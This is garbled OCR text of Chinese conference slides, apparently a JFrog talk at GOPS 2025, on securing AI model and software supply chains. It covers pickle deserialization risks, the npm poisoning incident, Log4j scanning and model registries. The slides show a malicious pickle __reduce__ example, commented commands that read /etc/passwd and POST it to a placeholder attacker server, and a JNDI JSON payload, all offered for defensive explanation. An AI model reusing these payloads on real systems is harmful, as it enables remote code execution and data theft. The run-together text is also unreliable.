2025 GOPS 全球运维大会暨研运数智化技术峰会·上海站：当 DevOps 遇见 AI 如何重新定义和管理企业软件供应链

Shanghai2015-20252025年10月17日-18日开放运维联盟主办单位BizDevops承办单位：华佑科技ANNIVERSARY2015-2025GOPSANNIVERSARY2015-2025Shanghai■2025/10/17规则规则数据数据答案答案答案程序开发规则规则传统应用开发开发调试应用代码r机器学习模型开发开发模型算法、训练和分析模型Shanghai2015-2025GOPS全球运维大会暨研运数智化技术峰会2025·上海站大模型数据集的数量爆发增长QSearchmodels,datasets,user...neuphonic/neutts-airOPyTorch下TensorFlowAJAX8TransformersDiffusers8SafetensorsONNX回GGUFibm-granite/granite-4.0-microtencent/HunyuanImageText-to-Image·83B·UpdatedQSearchmodels,datasets,user.…BBDatasets520,885BFilterbynameAgent-Ark/Toucan-1.5MJr23xd23/ArabicText-LargeSalesforce/Webscale-RLgoogle/svqallenai/WildChat-1MGOPSGOPS全球运维大会暨研运数智化技术峰会2025·上海站GOPSGOPS全球运维大会暨研运数智化技术峰会2025·上海站PyTorchPicklePyTorchPickle反序列化恶意攻击Shanghai2015-2025基于Pickle的模型(PyTorch、Joblib、NumPy、Di)允许在加载时执行代码，这意味着恶意攻击者能够嵌入有害代码，一旦模型被打开， FormatTypeFrameworkCodeexecution? PMMLXMLInteroperablePredictiveModelMarkupLanguage,oneoftheoldeststandardsforstoringdatarelatedtomachinelearningmodelsbasedon③照pickleBinaryPyTorch,scikt-learn,Built-inPythonmoduleforPythonobjectsseralization;canbeusedinanyPython-b③照关键风险：dllBinaryPyTorch,scikit-learnjoblibBinaryPyTorch,scikitlearn黑Pythonmodueaternativetopickle;optimizedtousewithobjectsthatcaryargenumpyaraysMsgPackBinArowBinarySpark一Languageindependentdataformatwhichsuppor攻击者可利用该方法执行任意代码。TorchSciptBinaryPyTorc影响：HierarchicalDataFormat,supportslargeamouTensorFowspeicimplementatTensorFowspeicimplementatTFLte/FatBuffersBinaryTensorFlowONNXBinaryInteroperable氯OpMoJoBinaryH2O氯ModelObJect,Optimized一还原黑客的操作一个恶意模型代码中，利用Pickle在反序列化时会自动执行_reduce()方法，classExploit:def_reduce_(self):#定义反序列化时要执行的命令return(getattr(os,'system'),('open-aCalculator',))#黑客可以定义任意的入侵代码#例如读取重要文件发送至黑客的远程服务加彼调用机器的文件，勒素#return(os.system('curl-XPOSThttp://恶意服务器/backdoor#return(os.system,('cat/etc/passwd',))UploadModelUploadModelRequestMaliciousRequestMaliciousModel□BreachRegistry→DataScientistNoAuthStoredCredsExploitation-F"file=@/etc/passwd"'))InfectedMLModelsMLPipelineRequestLatestMLModelMLInterfaceDataScientist#生成恶意序列化数据#生成恶意序列化数据#生成恶意pickle文件pickle.dump(Exploit(),f,protocol=pickle.HIGHEST_PROTOCOL)#明确指定协议#模拟受害者加载(实际攻击中替换为真实场景)#pickle.Loads(malicious_data)#执行后会弹出计算器AI领域其他的供应链安全问题2015-20252015-2025人工智能模型的大量涌现以及其迅速发展导致了一个危险的“黑箱”现象。由于缺乏统一的记录系统，各组织无法了解模型的使用情况，也无法对人工智能生态系统进行管控。这使得无法实施治理措施、管理访问权限以及保护模型供应链免受新出现的威胁和合规风险的影响成为不可能。GOPSGOPS全球运维大会暨研运数智化技术峰会2025·上海站9月9日npm投毒事件-总下载量超过20亿次多AIlProjects周下载量超20亿次多AIlProjects>Catalog>Explore>supports-hyperlinksGOPS2025GOPS2025Version4.1.1V周年庆-0#开发-0#开发者0#网络安全快科技9月9日消息，据报道，近日攻击者通过网络钓鱼攻击，入侵了一名NPM包维护者的账户，并在多个高下载量的NPM包中注入了恶意软件。这些受影响的NPM包每周的总下载量超过26亿次，其中包括一些极为流行的包，如debug、chalk和supports-color等。被入侵的维护者名为JoshJunon(qix),他也确认了这一事件，Junon表示，他收到了一封来自邮件，这是一个伪装成合法域名的钓鱼网站。@bad-at-computer.bsky.socialYep,I'vebeenpwned.2FAresetemail,lookedverylegitimate.是的，我被黑了。2FA重置电子邮件，看起来非常合法。OnlyNPMaffected.I'vesentanemailoffto@npmjs.bsky.socialtoseeifIcangetaccessagain.仅NPM受影响。我已发送邮件至@npmjs.bsky.social看看我是否可以再次访问。Sorryeveryone,Ishouldhavepaidmoreattention.Notlikeme;havehadastressfulweek.Willworktogetthiscleanedup.GOPS全球运维大会暨研运数智化技术峰会2025·GOPS全球运维大会暨研运数智化技术峰会2025·上海站npmsupports-hyperlinksDetectwhetheraterminalsupportshyperlinksCompareCompare□cURLGraphQL4.1.1Maliciouspackagesupports-hyperlinksforBeadvisedthatnotallremoterepositoriesinyourorganizationareblockedfordownloadbyCurationPolicies.color-name@2.0.1MaliciousInfoVulnerabilMaliciouspackagesupports-hyperlinksfornpmMalwarepackageSummaryThepackagesupports-hyperlinksfornpmcontainsmalicRemediationRemediation1分钟精准定位漏洞在企业影响的所有发布包及Docker镜像GOPS2025ShanghaiANNIVERSARY2015-2025直接搜索漏洞组件，例如debug@4.2.2全局查找影响的包有哪些②②MyBuild个MyApp.warAnotherApp.warLayer2Layer3j1.jarj2.jarjn.jar个some.infected.libraryDependency1Dependency2Dependencyn个docker个Layer1个SeverityApplicablitylssueCVEsVulnerablecomponentsummaryImpactedArtifactRepoPathFixversionProjectKeyriticalCVSSV3fromNVD)NotApplicableXRAY-192126CVE-2021-45046cVSs2:5.1cVSs3:9.0Published:2021-12-15gav://org.apache.loggi1ItwasfoundthatthefixtoadressCVE-2021-44228inApacheLog4j2.15.0wasinoompleteincertainnon-defaultconfigurations.ThiscouldallowsattackerswithcontroloverThreadContextMap(MDC)inputdatawhentheloggingconigurationusesanon-defaltPatternLayoutwitheitheraContextLookup(forexample,SS{ctxloginld)oraThreadContextMappattern(%X,%mdc,or%MDC)tocatmaliciousinputdatausingaJNDILookuppatternresutinginaninformationleakandremotecodecodeexecutioninallenvironments.Log4j2.16.0(Java8)and2.12.2(Java7)fixthisissuebyremovingsupportformessagelookuppattemsanddisablingJNDIfunctionalitybydefault.gav:/comexample.jfrog:app-boot1.1.2slash-maven-release-local/com/exampleljfrog/app-boot/1.1.2/app-boo-1.1.2war6.02.3.1CriticalcVSSV3fromNVD)NotApplicable×RAY-192126CVE-2021-45046cVSs2:5.1cVss3:9.0Published:2021-12-15gav!l/org.apache.loggi1ItwasfoundthatthefxtoaddressCVE-2021-44228inApacheLog4j2.15.0wasincompleteincertainnon-defaultconfigurations.ThiscouldallowsattackerswithcontroloverThreadContextMap(MDC)inputdatawhentheloggingconfigurationusesanon-defaultPatternLayoutwitheitheraContextLookup(forexample,SS{ctxloginld})oraThreadContextMappattern(%X,%mde,or%MDC)tocatmaliciousinputdatausingaJNDILookuppattermresutinginaninfomationleakandremotecodeexecutioninsomeenvironmentsandlocaloodeexecutioninallenvironments.Log4j2.16.0(Java8)and2.12.2(Java7)fixthissuebyremovingsupportformessagelookuppattemsanddisablingJNDIfunctionalitybydefault.gav//comexample.jfrog:appnample/jfrog/app-booV/1.2.45/app-boot-1.2.45.war6.02.3.1GOPSGOPS全球运维大会暨研运数智化技术峰会2025·上海站源头管控软件供应链的安全软件供应链源头管控皿docker侣侣Shanghai2015-2025app-boot~/work/jfrog/project/kubernetes/app-□Jjfrog□projects<projectxmLns="/PON/4.0.0”xmLns:xsi="httpapp-boot~/work/jfrog/project/kubernetes/app-□Jjfrog□projects195<!--<groupId>org.apache.maven.plugins</groupId--->196<!--<artifactIdsmaven-resources-pLugin</artifactId>--197<!1--<version>3.1.0</version>-->⑧maven.yaml198<!--</⑧maven.yaml□mvn□mvn201<!--</plugins>-->Dmain>□assembly202<!--</Dmain>□assembly回com.example.jfrog.demo回com.example.jfrog.demo>Ccresources◎gitignore2cleanMavenCache.shDockerileM+HELP.md◎Jenkinsfile.groovyJenkinsfle-cli288<name>EnterpriseDemoJFrogChina-releases</name>210214<url>/artifactory/sLash-maven-2mvnw2mvnw218SoLengJFrog219distributionManagem220<repository>mpom.xmlJFrogLocalLastscannedatsep1,2025,3:03:47PMork/jfrog/project/kubernetes/app-kubernetes/app-boot/pom.xmlcn.hutool:hutool-a¹:5.7.19org.apache.logging.log⁴j:1og4j-core:2.9.1CVE-2021-45046CVE-2020-9488WhatCanIDoCVEInformationImpactUpdatetheDirectDependencyRecommendedUpdatthefollowing:org.apache.loging.log4jtionstionsMavenMaven◎Approved△DryRunorg.apache.logging.log4j:log4j-coreorg.apache.logging.log4j:log4j-core2.14.0block-log4j-2-14-0block-log4j-2-14-0茴Past7daysblock-log4j-2-14-0

block-log4j-2-140GOPSGOPS全球运维大会暨研运数智化技术峰会2025·上海站GOPS2025ShanghaiGOPS2025Shanghai2015-2025TransformersPyTorchEnglishgpt2aceInferenceEndpointstext-generation-inference应License:apache-2.0ModelcardFilesandversionsCommunityThismodelhasonefilethathasbeenmarkedasunsafe.pytorch_model.bin目前模型管理的现状，大多使用Git/FTP/S3传统存储方式：·缺乏模型的版本管理(大量预训练模型需要工程化的版本管理);·模型size10G-500G不等的超大文件，上传、下载、移动费时费力；ARTIFACTORYMaven目前大部分的MLOps平台采用Docker/MavenTerraformAlpipython”使用Artifactory缓存和python”使用Artifactory来缓存和管理HelmCharts支持Hugging化使用像管理包和构建版本一样管理和保护模型版本GOPS全球运维大会暨研运数智化技术峰会2025·上海站JFrog扫描了HuggingFace所有模型，包括假阳性分析目前的机器学习模型扫描引擎存在惊人的误报率。具体示例：我们注意到有一个被标记为“不安全”的模型，这是一个由未知第三方上传的模型，正如其名称所示，它实际上并不可怕——它只是一个无害的测试模型。然而，它却被集成在HuggingFace中的相关扫描器标记为不安全。问题在于当前的扫描器如何分析基于Pickle的模型。扫描器并非深入检查执行逻辑，而是主要进行基本的静态分析，检查Pickle文件中的导入模块和函数调用。如果检测到某些通常与恶意行为相关的函数(例如GetAttr),模型就会自动被标记为不安全。然而，这种方法从根本上存在缺陷，因为GetAttr本身并不总是危险的——这取决于它的使用方式。事实上，许多合法的机器学习库(如fastai)在训练机器学习模型时出于正当理由使用GetAttr,这使得这种类型的检测过于简单化且容易出现误报。HuggingFaceQSearchmodels,datasets,users...HuggingFaceiswaymorePmainModels/THIS_MODEL_IS_BENIGN_ANY_DETECTION_IS_AN_FP.pklUploadTHIS_MODEL_IS_BENIGN_ANY_DETECTIONSHA256:55ed65c56c91713d23e8402371c6c49a6fd84f257f7dce452e8d70为什么我们要重视假阳性≤≤dependency2</dependency≥2015-20252015-2025HardcodedsecretswerefopublicstaticvoidStringpayload="{\"@type\":\"org.apache.shiro.jndi.JndiObjeParserConfig.getGlobaLInstanJSONJSONjsonobject=JSON.parseObject(payload);SpringApplication.run(DemoApplication.class,args);}GOPSGOPS全球运维大会暨研运数智化技术峰会2025·上海站企业大模型开发需要易于理解的版本管理36repo_id="google-bert/bert-base-chinese",revision="c30a6ed22ab4564dc1e3b2ecbf6e766b0611a33f",89pipe=pipeline("fill-mask",model="google-bert/bert-base-chinese")ML工程师可以直接通过code(只需1行代码)下载HuggingFaceModels和数据集指定模型版本或者通过MLOps自动化生成版本号记录model、训练数据集相关信息Happilyserving430,701artifacts□alex-huggingface-local□ananthak-huggingface-dev-localcarlosmm-huggingface-local□gartner-huggingfaceml-local□gn-huggingfaceml-local□nitin-huggingfaceml-local□slash-huggingface-dev-localslash-bert-base-cased后v1.1.02024-05-08T11:48:10.132Zv1.2.0□sokop-huggingfaceml-local□ubs-huggingfaceml-local huggingface-remotemodel-amainv1.0remote-cache_;resolvemodel元数据信息deploymodel-aV1.0大模型底层存储架构Shanghai2015-2025·分片多线程上传、下载；发布模型到生产环境，无额外存储和网络成本。·S3直连下载，将更多资源提供大模型写入业务↑JFrog大模型使用性能报告GOPS2025Shanghai2015-2025一上传速率MB-下数速事Mes一物理基准速率es500文件并发数量一上传速事MB-下数速率MB一物理基原速事MB上门速率Ms一下数速率MB9一物理基准选率MB一上维速率MB-下数速率MB一物速基准速率MBA50050050025025025031文件舞发数量文件并发数量文件并发监是GOPS全球运维大会暨研运数智化技术峰会2025·上海站Tangledtools,scatteredworkflows-managinganMLpipelineshouldn'tbethiscomplex.DataValidation→ModelTraining→ModelVlidation→ModelFeatureEngineering→FeatureStore→Data参GOPS全球运维大会暨研运数智化技术峰会2025·上海站GOPS全球运维大会暨研运数智化技术峰会2025·上海站Shanghai2015-2025Shanghai2015-2025JFrogSecurityPublicRepositoriesCurationXrayAdvSecRuntimeModelServing(CloudModelServing(Cloud|SelfHosted)Training&FineTuningModelRegistryBusinessAppsPythonPackagesModelMonitoringAIPythonPackagesModelMonitoringExperimentTrackingContainerRegistryFeatureStore|VectorStoreExternalDataSourcesEXPLORERjp.ujp.u①READMEmdjpJPD-PROJECTipd-devcode_dir>mainqwen-0.5b-devops-adapterqwen-finetunedU①READM.mdUtest_live_model.pyUU①README.mdnpmnugetpypi①README.mdjpd-manageipd-opsipd-secai-catalogimagesUallowed.pngUUUUUMANNIVERSARYGOPS2025ANNIVERSARYIm_finetuning_devops.ipynb-ipd-project-Untrackedynb)MFine-TuningaOwen1.5ModelandLogingtoaModelRegistry>m4.ModaLadingandFine-Tuning)◆fromhugingfacehubimportsnapshotdownioadGenerate+Code+Markdown|DRunAllDRestart言ClearAllOutputsJupyterVariablesOutline…3.11.9(Python3.11.9)40T⑨带Thisnotebookdemonstratestheprocessoffine-tuningasmal-scaleQwenmodel(Qwen/0wen1.5-0.5B-Chat)onapubliinstruction-baseddataset.WewilluseParameter-EfficientFine-Tuning(PEFT)withLoRAtomaketheprocess⑨带KeySteps:1.Setup:Installrequiredlibrariesandimportnecessarymodules.3.DataPreparation:Loadandpreparethedatasetforinstructionfine-tuning.2.Configuration:Defineal3.DataPreparation:Loadandpreparethedatasetforinstructionfine-tuning.5.Evaluation:Comparetheperformanceofthebasemodel5.Evaluation:Comparetheperformanceofthebasemodelwiththefine-tunedmodel.6.ModelLogging:Logthefine-tunedmodelanditsmetricstoamodelregistry.First,we'linstallthenecessaryPythonlibrariesandimportalltherequiredmodulesfortheentireworkflow.piDinstall-q-Utransformersdatasetsacceleratepefttrlbitsandbytesydyd…huggingface/tokenizers:Thecurrentprocessjustgotforked,afterparallelismhasalreadybeenused.Disablingparallelismtoavotd(Todisablethiswarning,youcaneither:-Avoidusing'tokenizers'beforetheforkifpossibleExplicitlysettheenvironmentvariableTOKENIZERS_PARALLELISH=(true|false)PROBLEMS①OUTPUTDEBUGCONSOLETERMINALPORTSJUPYTER2zsh十1四…|23×o(base)jingyilejingyi1-macjpd-projectTIMELINEMAVEN:ErrorQScreenReaderOptimGOPS全球运维大会暨研运数智化技术峰会2025·上海站GOPS全球运维大会暨研运数智化技术峰会2025·上海站Shanghai2015-2025Shanghai2015-2025当前还处于Beta阶段，这些工具将使用户TCPSQLCURSORMCP智能分析安全健康状态

HerearealltheprojectsinyourJFrogplatform:ProjectsOverview(47total)SoftLimitYesProjectKeyjianslweiandroidslashproweilifechinesepublicliweimlweiapp1lweitrainDisplayNamejiansliwei_androidSlashProProjects-trainingliwei_lifecyclepublicliwei_mlliwei_test1app1liweitrainingDescriptionkyle'sdemoprojectStorageQuotaUnlimitedUnlimitedUnlimitedUnlimitedUnlimited50GBUnlimitedUnlimitedUnlimitedUnlimitedlistallprojects√Ranjfrog_list_projectsHelpHelpmeanalyzethesituationofthevulnerabilitiesaboutmavenreposinougntror1/sIllsummarizeMavenreporiskpostureandgiveconcretehardeningsteps.Currentrisksignals·Insecurerepospresent:alex-insecure-maven-local,alex-ignored-insecure-maven-repo,j-maven-Local-nonunique.·PlainHTTPremotes:gitee-remote(http),remote-maven(http),repokey-test-remote(http),repokey-test-remote1(http),zhl-maven-proxy-remote(http).Risk:MITMandsupply-chaintampering.·Manydirectpublicremotes(e.g.,MavenCentral,Aliyunmirrors,Google,Atlassian,Confluent)withoutvisiblegatingimplybroadexposuretoupstreamvulnerabilities.·Mixeddev/releaselocalsandnumerousprojectlocalsincreasesurfaceareaandpolicydrift.·Somepositivecontrolsexist:public-maven-dev-approved-Local,slash-maven-whitelist(curation/allow-listpatterns).Likelygapsimpactingvulnerabilityposture·Xrayindexing/scanningmaynotbeuniformlyenabledonkeyvirtuals(e.g.,maven-public,app1-maven-*-virtual,slash-maven-*-virtual).·Noguaranteed"blockdownloadofunscanned/violatingartifacts"”onvirtuals.·Non-uniquesnapshothandling(j-maven-Local-nonunique)complicatesSBOM/traceabilityandvulnerabilitycorrelation.·HTTPremotesbypassTLSvalidationandsignaturetrust.High-impactremediation(orderofoperations)1.EnableXrayindexingonvirtualsusedbybuilds·maven-public,app1-maven-dev-virtual,app1-maven-release-virtua1,app1-maven-snapshot-virtual,slash-maven-virtual,slash-maven-release-